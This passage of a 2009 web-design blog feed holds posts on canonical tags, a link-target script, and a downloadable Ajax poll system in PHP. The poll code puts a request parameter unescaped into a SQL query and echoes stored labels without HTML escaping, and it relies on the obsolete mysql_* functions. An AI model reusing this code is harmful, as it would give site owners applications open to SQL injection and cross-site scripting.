depends on your local keyword concurrency. So tolerable levels can vary up and down.&lt;br /&gt;&lt;br /&gt;2. &lt;b&gt;Add the 'canonical' tag&amp;nbsp;&lt;/b&gt;to all your website pages:&lt;br /&gt;&lt;pre class="brush: html"&gt;&amp;lt; link rel="canonical" href="http://www.example.com/your_preferred_webpage_url.html" /&amp;gt;&lt;/pre&gt;(and make sure to specify the url that you really prefer!). This will reveal to the search engine what your legitimate webpage is. More info: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&lt;br /&gt;&lt;br /&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_nXiUn_G4NDk/SxeiwNVEe-I/AAAAAAAAAek/f17PRaCtu3E/s320/duplicate_url_blogger.gif" /&gt;&lt;br /&gt;&lt;hr /&gt;Blogger users please add the following code at the head section in your Template:&lt;br /&gt;&lt;pre class="brush: html"&gt;&amp;lt;b:if cond='data:blog.pageType == "item"'&amp;gt;&lt;br /&gt;&amp;lt;link expr:href='data:blog.url' rel='canonical'/&amp;gt;&lt;br /&gt;&amp;lt;/b:if&amp;gt;&lt;/pre&gt;(this will remove the parameters appended at the end of the URL such as http://nevyan.blogspot.com/2009/12/test.html?showComment=1242753180000&lt;br /&gt;and specify the original authority page: http://nevyan.blogspot.com/2009/12/test.html )&lt;br /&gt;&lt;br /&gt;meta noindex,follow&lt;br /&gt;Next to prevent duplicate references of your archive( i.e .../2009_01_01_archive.html) and label pages( i.e. /search/label/...) from getting indexed just add:&lt;br /&gt;&lt;pre class="brush: html"&gt;&amp;lt;b:if cond='data:blog.pageType == "archive"'&amp;gt;&lt;br /&gt;&amp;lt;meta content='noindex,follow' name='robots'/&amp;gt;&lt;br /&gt;&amp;lt;/b:if&amp;gt;&lt;br /&gt;&amp;lt;b:if cond='data:blog.pageType == "index"'&amp;gt;&lt;br /&gt;&amp;lt;b:if cond='data:blog.url != data:blog.homepageUrl'&amp;gt;&lt;br /&gt;&amp;lt;meta content='noindex,follow' name='robots'/&amp;gt;&lt;br /&gt;&amp;lt;/b:if&amp;gt;&lt;br /&gt;&amp;lt;/b:if&amp;gt;&lt;/pre&gt;&lt;hr /&gt;3. Have fun. For more information on the subject you can read: &lt;a href="http://nevyan.blogspot.com/2007/04/deoptimizing-new-way-of-seo.html"&gt;Deoptimising - a new way of SEO  &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-9175683483390388852?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/9175683483390388852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=9175683483390388852' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/9175683483390388852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/9175683483390388852'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/12/seo-penalty-checklist-keyword-density.html' title='SEO penalty checklist: keyword density, canonical urls'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_nXiUn_G4NDk/SxeSvtOIewI/AAAAAAAAAeY/DNd4u63Isc4/s72-c/google_keywords.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-9066503295509068575</id><published>2009-11-27T23:48:00.000-08:00</published><updated>2010-12-25T09:43:33.163-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Open links in new window javascript</title><content type='html'>This script automatically goes through all your links and inserts target=_blank;&lt;br /&gt;Just copy and paste the following code to your page.&lt;br /&gt;In order to work add id="bd" to your body element like:&lt;br /&gt;&lt;pre class="brush: html"&gt;&amp;lt; body id="bd" &amp;gt; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre class="brush: javascript"&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;this.addEvent = function(obj,type,fn){&lt;br /&gt;if(obj.attachEvent){&lt;br /&gt;obj['e'+type+fn] = fn;&lt;br /&gt;obj[type+fn] = function(){obj['e'+type+fn](window.event);}&lt;br /&gt;obj.attachEvent('on'+type, obj[type+fn]);&lt;br /&gt;} else { obj.addEventListener(type,fn,false); };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;addEvent(window,"load",prepareLinks);&lt;br /&gt;&lt;br /&gt;function prepareLinks(){&lt;br /&gt;if(document.getElementById &amp;amp;&amp;amp; document.getElementsByTagName){&lt;br /&gt;if(document.getElementById('bd')){&lt;br /&gt;var content= document.getElementById('bd');&lt;br /&gt;var links = content.getElementsByTagName('a');&lt;br /&gt;for( var i=0; i &amp;lt; links.length; i++ ){ links[i].target = "_blank"; links[i].className = "external"; }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-9066503295509068575?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/9066503295509068575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=9066503295509068575' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/9066503295509068575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/9066503295509068575'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/11/open-links-in-new-window-javascript.html' title='Open links in new window javascript'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2125765435145140019</id><published>2009-11-21T09:25:00.000-08:00</published><updated>2009-11-21T13:11:53.852-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Photoshop for web design - video tutorial</title><content type='html'>Here is a video on how to create simple webpage with photoshop.&lt;br /&gt;&lt;br /&gt;In this tutorial we look at:&lt;br /&gt;&lt;br /&gt;* how to make simple button&lt;br /&gt;* using the slice tool to create whole webpage&lt;br /&gt;&lt;br /&gt;* how to edit and add simple HTML source code&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/fbEGiye9L_M&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/fbEGiye9L_M&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2125765435145140019?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2125765435145140019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2125765435145140019' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2125765435145140019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2125765435145140019'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/10/photoshop-for-web-design-video-tutorial.html' title='Photoshop for web design - video tutorial'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4969606382093556306</id><published>2009-11-19T22:06:00.000-08:00</published><updated>2011-10-18T08:05:40.949-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scripts'/><title type='text'>Ajax poll system</title><content type='html'>&lt;hr /&gt;&lt;b&gt;Update&lt;/b&gt;&lt;br /&gt;Here is the new version of AJAX poll script. &lt;br /&gt;&lt;div class="separator" style="clear: both;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_nXiUn_G4NDk/SwY7Z8htN7I/AAAAAAAAAeI/H5jEk5_z074/s320/poll.gif" /&gt;&lt;/div&gt;&lt;br /&gt;Here you can download the new and updated version of the script. Now tracking all of your web pages automatically. You just have to include it to the desired page.&lt;br /&gt;&lt;a class="demo" href="http://tools.royalsbg.com/display_poll.php"&gt;DEMO&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://tools.royalsbg.com/create_poll.php"&gt;ADMIN&lt;/a&gt;&lt;br /&gt;&lt;form action="https://www.paypal.com/cgi-bin/webscr" method="post"&gt;&lt;input name="cmd" type="hidden" value="_s-xclick" /&gt;&lt;br /&gt;&lt;input name="hosted_button_id" type="hidden" value="9850484" /&gt;&lt;br /&gt;&lt;input alt="PayPal - The safer, easier way to pay online." border="0" name="submit" src="https://www.paypal.com/en_GB/i/btn/btn_buynow_LG.gif" type="image" /&gt;&lt;br /&gt;&lt;img alt="" border="0" height="1" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" /&gt;&lt;/form&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;With this package you can:&lt;br /&gt;* Create new polls with unlimited number of fields&lt;br /&gt;* Display multiple polls on a same page&lt;br /&gt;* Vote easily without going out to another page&lt;br /&gt;&lt;br /&gt;Installation &amp;lt; 3min - you just have to include 2 lines of code to a desired page.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Create table 'polls' in your database &lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;CREATE TABLE IF NOT EXISTS `polls` (&lt;br /&gt;  `id` int(4) NOT NULL auto_increment,&lt;br /&gt;  `title` varchar(50) NOT NULL,&lt;br /&gt;  `labels` varchar(250) NOT NULL,&lt;br /&gt;  `votes` varchar(30) NOT NULL,&lt;br /&gt;  `used_ips` longtext NOT NULL,&lt;br /&gt;  PRIMARY KEY  (`id`)&lt;br /&gt;) ;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;2. Set up your server information by editing 'dbinfo.php'&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;$dbhost = 'localhost';&lt;br /&gt;$dbuser = 'your_database_username';&lt;br /&gt;$dbpass = 'your_database_password';&lt;br /&gt;$dbname = 'your_database_name';&lt;br /&gt;$tableName="polls";&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;3. Run 'create_poll.php' in order to create a new poll&lt;br /&gt;&lt;br /&gt;Here is how to display the poll:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;$poll_id=1;&lt;br /&gt;include("display_poll.php");&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;display_poll.php&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;include_once("dbinfo.php");&lt;br /&gt;$id=$poll_id;&lt;br /&gt;if (empty($id)) { $id=$_REQUEST['poll_id'];}&lt;br /&gt;&lt;br /&gt;$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql'); mysql_select_db($dbname);&lt;br /&gt;&lt;br /&gt;//header('Content-type: text/html; charset=windows-1251');&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$sql = "select * from polls where id='$id'"; $query = mysql_query($sql) or die(" Error: ".mysql_error()); &lt;br /&gt;$number_rows=mysql_num_rows($query);&lt;br /&gt;$info=mysql_fetch_assoc($query);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$labels = explode("|", $info['labels']); $num_labels=count($labels);&lt;br /&gt;$votes_array = explode("|", $info['votes']);&lt;br /&gt;$num_votes=count($votes_array);&lt;br /&gt;$total=array_sum($votes_array);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$sql = "SELECT * FROM polls WHERE used_ips LIKE '%".$_SERVER['REMOTE_ADDR']."%' AND id='$id' "; &lt;br /&gt;$query = mysql_query($sql) or die(" Error: ".mysql_error()); &lt;br /&gt;$voted=mysql_num_rows($query);&lt;br /&gt;$info1=mysql_fetch_assoc($query);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//if not voted&lt;br /&gt;if(!$voted){&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;var http_request = false;&lt;br /&gt;&lt;br /&gt;function alertContents(response,ret_el) {&lt;br /&gt;  document.getElementById(ret_el).innerHTML = response;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;function makePOSTRequest(url, parameters, ret_el, callback_function) { &lt;br /&gt;if (typeof callback_function == 'undefined' ) callback_function = alertContents;&lt;br /&gt;var http_request = false;&lt;br /&gt;var activex_ids = ['MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP' ];&lt;br /&gt;&lt;br /&gt;if (window.XMLHttpRequest) { // Mozilla, Safari, IE7+...&lt;br /&gt;    http_request = new XMLHttpRequest();&lt;br /&gt;    if (http_request.overrideMimeType) { http_request.overrideMimeType('text/xml');  }&lt;br /&gt;  } else if (window.ActiveXObject) { // IE6 and older&lt;br /&gt;    for (i = 0; i &amp;lt; activex_ids.length; i++) {&lt;br /&gt;      try {  http_request = new ActiveXObject(activex_ids[i]); } catch (e) {}&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;if (!http_request) {  alert('Please update your browser!');  return false; }&lt;br /&gt;&lt;br /&gt;document.getElementById(ret_el).innerHTML = "Please wait...";&lt;br /&gt;document.getElementsByTagName("body").item(0).style.cursor="wait";&lt;br /&gt;&lt;br /&gt;http_request.onreadystatechange = function() {&lt;br /&gt;&lt;br /&gt;   if (http_request.readyState !== 4) {  return;  }&lt;br /&gt;   if (http_request.status !== 200) { alert('Please try again later.');    return;   }&lt;br /&gt;   &lt;br /&gt;document.getElementsByTagName("body").item(0).style.cursor="auto"; &lt;br /&gt;var response = http_request.responseText;&lt;br /&gt;//setTimeout(function(){ callback_function(response,ret_el)},1000);&lt;br /&gt;callback_function(response,ret_el);&lt;br /&gt;return; &lt;br /&gt;&lt;br /&gt;}; &lt;br /&gt;&lt;br /&gt;      http_request.open('POST', url, true);&lt;br /&gt;      http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");&lt;br /&gt;      http_request.setRequestHeader("Charset", "windows-1251");&lt;br /&gt;      http_request.setRequestHeader("Content-length", parameters.length);&lt;br /&gt;      http_request.setRequestHeader("Connection", "close");&lt;br /&gt;      http_request.send(parameters);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function getVote(int,id)&lt;br /&gt;{ &lt;br /&gt;makePOSTRequest('display_poll.php', 'vote=' +int+'&amp;amp;poll_id='+id, 'poll'); }&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;&lt;br /&gt;if (!isset($_POST['vote'])){&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;div id=\"poll\"&amp;gt;&lt;br /&gt;&amp;lt;span class=\"open\"&amp;gt;".$info['title']."&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;form method=\"post\"&amp;gt;&amp;lt;fieldset&amp;gt;";&lt;br /&gt;for ($i = 0; $i &amp;lt;= $num_labels-1; $i++) { echo "&amp;lt;input type=\"radio\" name=\"vote\" value=\"$i\" id=\"vote$i\" onclick=\"getVote(this.value,$id)\" /&amp;gt;&amp;lt;label for=\"vote$i\"&amp;gt;".$labels[$i]."&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;";}&lt;br /&gt;echo "&amp;lt;/fieldset&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/div&amp;gt;";&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;else {  &lt;br /&gt;&lt;br /&gt;if (is_numeric($_POST['poll_id']) and is_numeric($_POST['vote']) ) &lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;$id = $_POST['poll_id'];&lt;br /&gt;&lt;br /&gt;$checkIP=unserialize($info1[used_ips]);&lt;br /&gt;if(is_array($checkIP)){array_push($checkIP,$_SERVER['REMOTE_ADDR']);}else{ $checkIP=array($_SERVER['REMOTE_ADDR']);}&lt;br /&gt;$ip=serialize($checkIP);&lt;br /&gt;&lt;br /&gt;$vote = $_POST['vote'];&lt;br /&gt;$votes_array[$vote]+=1;&lt;br /&gt;$total=array_sum($votes_array);&lt;br /&gt;$votes = implode("|", $votes_array);&lt;br /&gt;&lt;br /&gt;$sql = "UPDATE polls SET votes='$votes', used_ips='$ip' WHERE id='$id'"; $query = mysql_query($sql) or die(" Error: ".mysql_error()); &lt;br /&gt;&lt;br /&gt;&lt;br /&gt; echo "&amp;lt;span class=\"open\"&amp;gt;Results:&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;Voted:$total&amp;lt;br /&amp;gt;&amp;lt;table&amp;gt;";&lt;br /&gt; for ($i = 0; $i &amp;lt;= $num_labels-1; $i++) {&lt;br /&gt; $percent=100*round(@($votes_array[$i]/$total),2);&lt;br /&gt; echo "&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;".$labels[$i]."&amp;lt;/td&amp;gt;&amp;lt;td align=\"left\"&amp;gt;&amp;lt;img style=\"float:left;\" src=\"poll.gif\" width=\"$percent\" height=\"20\"&amp;gt; $percent%&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;";&lt;br /&gt;           }&lt;br /&gt; echo "&amp;lt;/table&amp;gt;";&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else {&lt;br /&gt;echo "&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=\"2\"&amp;gt;&amp;lt;strong&amp;gt;".$info['title']."&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=\"2\"&amp;gt;Voted:$total&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt;&amp;lt;td colspan=\"2\"&amp;gt;Results:&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;";&lt;br /&gt; for ($i = 0; $i &amp;lt;= $num_labels-1; $i++) {&lt;br /&gt; $percent=100*round(@($votes_array[$i]/$total),2);&lt;br /&gt; echo "&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;".$labels[$i]."&amp;lt;/td&amp;gt;&amp;lt;td align=\"left\"&amp;gt;&amp;lt;img style=\"float:left;\" src=\"poll.gif\" width=\"$percent\" height=\"20\"&amp;gt; $percent%&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;";&lt;br /&gt;           }&lt;br /&gt; echo "&amp;lt;/table&amp;gt;";&lt;br /&gt;&lt;br /&gt; }&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;create_poll.php&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;include_once("dbinfo.php");&lt;br /&gt;&lt;br /&gt;$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql'); mysql_select_db($dbname);&lt;br /&gt;&lt;br /&gt;if (!empty($_POST["method"])){&lt;br /&gt;$poll_question=$_POST[poll_question];&lt;br /&gt;&lt;br /&gt;foreach($_POST as $name =&amp;gt; $value) {&lt;br /&gt;&lt;br /&gt;if (preg_match("/option/i", $name) and !(empty($value)) ) { $options[].=$value; }&lt;br /&gt;}&lt;br /&gt;if (!empty($options)) {$options=implode("|",$options);}  else {echo "Please go back and enter some options for the poll!"; exit;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$poll_question=mysql_real_escape_string($poll_question);&lt;br /&gt;$options=mysql_real_escape_string($options);&lt;br /&gt;&lt;br /&gt;$sql = "INSERT INTO polls (title, labels) VALUES ('$poll_question', '$options')"; $result = mysql_query($sql) or die("err");&lt;br /&gt;&lt;br /&gt;if ($result==1) {&lt;br /&gt;echo "Congratulations! Your poll has been created!";&lt;br /&gt;echo "In order to use it just paste the following code to your website:";&lt;br /&gt;$inserted_id=mysql_insert_id();&lt;br /&gt;echo "&amp;lt;span style=\"color:red;\"&amp;gt; &amp;lt;? php \$poll_id=$inserted_id; include(\"display_poll.php\") ?&amp;gt;&amp;lt;/span&amp;gt;";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;} else {&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;h1&amp;gt;Create new poll&amp;lt;/h1&amp;gt;&lt;br /&gt;&amp;lt;form id="myform" name="myform" method="post"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;label for="poll_question"&amp;gt;Poll question:&amp;lt;/label&amp;gt;&amp;lt;input type="text" size="20" id="poll_question" name="poll_question"/&amp;gt; &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;ul id="options"&amp;gt;&lt;br /&gt;&amp;lt;li&amp;gt;&amp;lt;label for="poll_option1"&amp;gt;Option1:&amp;lt;/label&amp;gt;&amp;lt;input type="text" size="20" id="poll_option1" name="poll_option1"/&amp;gt;&amp;lt;input type="button" value="Add new option" id="add_option" name="add_option"/&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;li&amp;gt;&amp;lt;label for="poll_option2"&amp;gt;Option2:&amp;lt;/label&amp;gt;&amp;lt;input type="text" size="20" id="poll_option2" name="poll_option2"/&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;li&amp;gt;&amp;lt;label for="poll_option3"&amp;gt;Option3:&amp;lt;/label&amp;gt;&amp;lt;input type="text" size="20" id="poll_option3" name="poll_option3"/&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;li&amp;gt;&amp;lt;label for="poll_option4"&amp;gt;Option4:&amp;lt;/label&amp;gt;&amp;lt;input type="text" size="20" id="poll_option4" name="poll_option4"/&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;li&amp;gt;&amp;lt;label for="poll_option5"&amp;gt;Option5:&amp;lt;/label&amp;gt;&amp;lt;input type="text" size="20" id="poll_option5" name="poll_option5"/&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="method" value="post" /&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Create!" id="create_poll" name="create_poll"/&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;function add_new_option()&lt;br /&gt;{&lt;br /&gt;var form = document.getElementById("options");&lt;br /&gt;var new_number = form.childElementCount+1;&lt;br /&gt;var new_id="poll_option"+new_number;&lt;br /&gt;&lt;br /&gt;var poll_label = document.createElement("label");&lt;br /&gt;poll_label.htmlFor=new_id;&lt;br /&gt;var p_label_text="Option"+new_number+":";&lt;br /&gt;poll_label.appendChild(document.createTextNode(p_label_text));&lt;br /&gt;&lt;br /&gt;var new_option = document.createElement("input");&lt;br /&gt;new_option.type = "text"; new_option.id = new_id; new_option.name = new_id;&lt;br /&gt;&lt;br /&gt;var html_li = document.createElement("li");&lt;br /&gt;html_li.appendChild(poll_label);&lt;br /&gt;html_li.appendChild(new_option);&lt;br /&gt;form.appendChild(html_li);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if (document.getElementById) { window.onload = myUnobtrusiveBehavior; }&lt;br /&gt;&lt;br /&gt;function myUnobtrusiveBehavior() {&lt;br /&gt;document.getElementById("add_option").onclick=function() {add_new_option();}&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Note: &lt;/b&gt;system works only when JavaScript is enabled.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4969606382093556306?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4969606382093556306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4969606382093556306' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4969606382093556306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4969606382093556306'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/11/ajax-poll-system.html' title='Ajax poll system'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_nXiUn_G4NDk/SwY7Z8htN7I/AAAAAAAAAeI/H5jEk5_z074/s72-c/poll.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8568396365170362912</id><published>2009-11-13T02:37:00.000-08:00</published><updated>2009-11-13T02:38:45.150-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>SEO penalty checklist: 404 and 301redirects</title><content type='html'>Do you know what's the difference between these two? (where to find them? hint: look at your .htaccess file)&lt;br /&gt;&lt;blockquote&gt;ErrorDocument 404 http://your_website.com/error404.php&lt;br /&gt;&lt;br /&gt;ErrorDocument 404 error404.php&lt;br /&gt;&lt;/blockquote&gt;It appears that the first line returns 302 Found header code and then redirects to your 404 page. - a really bad thing from a SEO standpoint which gets penalized. More info on how to fix it here: &lt;a href="http://nevyan.blogspot.com/2006/01/how-to-get-out-of-google-sandbox-part.html"&gt;302 hijacking&lt;/a&gt;&lt;br /&gt;&lt;b&gt;The second line gives you the normal 404 page returning a proper 404 header code.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It also appears that using &lt;b&gt;too many 301 redirects cause penalty&lt;/b&gt;. But how's that?&lt;br /&gt;Can you recognize this code? &lt;br /&gt;&lt;blockquote&gt;RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]&amp;nbsp; &lt;br /&gt;&lt;/blockquote&gt;You may know that it's OK when you have several empty PR5 domains to redirect them to your website via 301 temporary header redirect. But what happens if they already have some kind of penalty applied. Well it automatically transfers to your new domain, because as you've might noticed 301 is actually a &lt;b&gt;PERMANENT &lt;/b&gt;redirect.&lt;br /&gt;One must be really careful about these things. Now go ahead and fix all your 404 and 301 redirect headers!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8568396365170362912?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/8568396365170362912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=8568396365170362912' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8568396365170362912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8568396365170362912'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/11/seo-penalty-checklist-404-and.html' title='SEO penalty checklist: 404 and 301redirects'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 